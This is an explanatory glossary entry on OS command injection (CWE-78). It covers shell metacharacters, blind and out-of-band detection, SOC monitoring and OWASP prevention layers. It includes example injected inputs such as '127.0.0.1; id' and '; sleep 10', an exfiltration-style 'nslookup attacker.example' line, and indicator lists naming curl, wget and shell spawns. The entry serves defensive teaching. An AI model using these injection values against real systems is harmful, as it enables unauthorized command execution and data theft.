Command Injection

A vulnerability where an application passes user input to the system shell, letting an attacker run arbitrary operating system commands with the process's privileges (CWE-78).

Command injection is a vulnerability in which an application assembles an operating system command from data typed by a user and passes it to the system shell without first removing special characters. The attacker then appends their own commands to the expected value, and the server runs them with the application’s privileges. The operating-system variant has its own entry in the weakness catalogue: CWE-78 (OS Command Injection). It also falls under the Injection category in the OWASP Top 10 — the list of the most common web application vulnerabilities.

How does command injection work?

The whole problem is that data meant to be a plain value reaches the shell, and the shell reads part of it as commands to run. The flow usually looks like this:

  1. Data comes in – the application accepts something the user controls: a URL parameter, a form field, an HTTP header, a cookie, or the body of an API request.
  2. Command is assembled – the value is dropped into a ready-made command, e.g. ping -c 1 <host>, where <host> comes straight from the user.
  3. Shell runs it – the command is launched by a function that reaches for the shell (system(), popen(), os.system(), Runtime.exec() with a shell, child_process.exec()).
  4. Injected command runs – if the data contains a shell special character, e.g. 127.0.0.1; id, the shell runs ping first and id right after.

The injected command runs with whatever rights the vulnerable process has. When the application runs as a high-privilege user (or as root), a single vulnerable parameter is usually enough to take over the whole server.

Which special characters enable injection?

Unix shells, plus cmd.exe and PowerShell, understand a set of characters that chain or separate commands. The most commonly abused are:

  • ; – separates commands (run the next one regardless of the previous),
  • && and || – conditional execution (on success / on failure),
  • | – a pipe, feeding the output into the next command,
  • & – run in the background,
  • $(...) and `...` – command substitution (run this and insert the result),
  • a newline (n) – another command on a new line.

This is why checking the length or type of the data is not enough. What matters is whether these characters reach the shell at all.

How does command injection differ from code injection?

Both attacks run content supplied by the attacker, but at a different level:

  • Command injection (CWE-78) – the attacker abuses an existing application feature that runs operating system commands. They do not inject their own program code; they add more commands to the ones the shell will run. Their reach is limited by what the shell and the OS can do.
  • Code injection – the attacker injects a fragment of code in the application’s own language (e.g. PHP, Python, JavaScript), which then runs inside its environment. Here the limit is what that language can do.

The difference matters for detection. Command injection shows up in data about running processes (a web server process suddenly launching a shell), while code injection shows more in the behaviour of the application itself.

Where does command injection most often occur?

The vulnerability appears wherever an application passes user data to a shell. Common places are:

  • wrappers around system utilities (e.g. ping, nslookup, whois, file conversion, archiving),
  • URL parameters and form fields passed to scripts that run commands,
  • API endpoints that build a command from JSON or XML data,
  • admin panels of network and IoT devices (a frequent source of published vulnerabilities),
  • file names and their metadata on upload, when they later end up in a shell command.

What is blind command injection and how is it detected?

Often the output of the injected command does not come back in the HTTP response. This is blind command injection — the attacker cannot see the result directly, so they confirm it indirectly:

  • Time delay – injecting ; sleep 10 (or ping -c 10 127.0.0.1) and checking whether the response really came back later. If it did, the command ran.
  • Writing output to a file – redirecting the result to a file in a web-accessible directory and then reading it.
  • Out-of-band (OAST) techniques – forcing the server to reach outward, e.g. a DNS or HTTP request to the attacker’s server (nslookup attacker.example). This confirms the command ran and can also be used to exfiltrate data. OAST means testing through a channel outside the HTTP session itself (out-of-band application security testing).

How can command injection be detected and monitored?

From the point of view of a security operations team (SOC) and tools that analyse network traffic (NDR), command injection leaves traces that ordinary application traffic does not:

  • Process data – a web server or application process suddenly launches a shell or system tools (sh, bash, cmd.exe, powershell, whoami, id, curl, wget). A parent-child chain like nginx → sh → curl is a strong sign that something is wrong.
  • Traffic and web-log analysis – shell special characters (;, |, &&, $(, backtick characters) and command names in parameters, headers and request bodies.
  • Outbound connections – unusual DNS queries or HTTP/HTTPS sessions that the application server starts right after a request. That is a typical sign of OAST and of pulling in the next stage of the attack.
  • Correlation – matching an HTTP request that contains special characters with what happened right afterwards (a process launching, an outbound connection). This helps tell a successful attack apart from plain scanning.

A web application firewall (WAF) catches some attempts, but encrypted traffic, different character encodings and obfuscation tricks limit how effective it is. That is why host and network data complement it rather than replace it.

How do you prevent command injection?

OWASP orders the defensive layers from the most effective:

  1. Do not launch a shell – instead of assembling commands, use the language’s built-in functions (e.g. a directory-creating function rather than system("mkdir ...")). This removes the problem at the source.
  2. Separate the command from the data – if you must run an external program, pass the program name and the arguments separately, without going through a shell (e.g. ProcessBuilder in Java, subprocess with an argument list and without shell=True in Python). The data is then never treated as commands.
  3. Check input against an allowlist – accept only a known, permitted set of values (e.g. digits only, or a value from a fixed list), instead of trying to block characters deemed dangerous.
  4. Escaping only as a last resort – functions like escapeshellarg() should be used only when a shell is unavoidable. They are easy to get wrong, especially against argument injection (slipping data in as extra command options).
  5. Least privilege – run processes with the minimum rights and in isolation (a container, a separate account), to limit the damage from any break-in.

Learn more

  • API Security — API flaws can let attackers send inputs that trigger command injection in back-end systems.
  • Web Shell Attacks — Command injection can help deploy a web shell by executing malicious system commands.
  • Zero-Day Exploit — A zero-day may include command injection if it abuses an unknown flaw to run system commands.
  • Cross-Site Request Forgery (CSRF) — CSRF can force a logged-in user to submit requests that reach command-injection flaws.
  • SQL Injection (SQLi) — SQLi and command injection both exploit unsafe input handling to execute attacker-controlled code.